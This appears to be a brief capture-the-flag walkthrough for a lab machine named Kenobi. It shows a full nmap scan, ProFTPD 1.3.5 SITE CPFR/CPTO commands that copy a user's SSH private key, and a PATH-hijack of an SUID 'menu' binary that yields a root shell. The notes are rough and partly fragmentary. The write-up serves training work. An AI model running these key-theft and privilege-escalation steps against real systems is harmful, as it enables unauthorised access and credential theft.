cover accessing a Samba share, manipulating a vulnerable version of proftpd to gain initial access and escalate your privileges to root via an SUID
namp
nmap -sC -sV 10.10.150.84
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-21 03:02 EDT
Nmap scan report for 10.10.150.84 (10.10.150.84)
Host is up (0.14s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
| 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 47369/tcp6 mountd
| 100005 1,2,3 48874/udp mountd
| 100005 1,2,3 50231/tcp mountd
| 100005 1,2,3 54534/udp6 mountd
| 100021 1,3,4 35001/tcp6 nlockmgr
| 100021 1,3,4 45955/tcp nlockmgr
| 100021 1,3,4 47604/udp nlockmgr
| 100021 1,3,4 59047/udp6 nlockmgr
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs_acl 2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: -1s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: kenobi
| NetBIOS computer name: KENOBI\x00
| Domain name: \x00
| FQDN: kenobi
|_ System time: 2021-04-21T02:03:31-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-04-21T07:03:31
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.62 seconds
FTP Enumeration
Now ftp has Anonymous access and also this version of ftp can allow the CPFR & CPTO functions
so here we can copy and deploy it into tmp directory
$ nc 10.10.150.84 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.150.84]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
cd421 Login timeout (300 seconds): closing control connection
lesson learned : when ever the suid file to run , use full path to execute
kenobi@kenobi:/tmp$ echo /bin/sh > ifconfig
kenobi@kenobi:/tmp$ chmod 777 ifconfig
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
# whoami
root
# Connection to 10.10.150.84 closed by remote host.
Connection to 10.10.150.84 closed.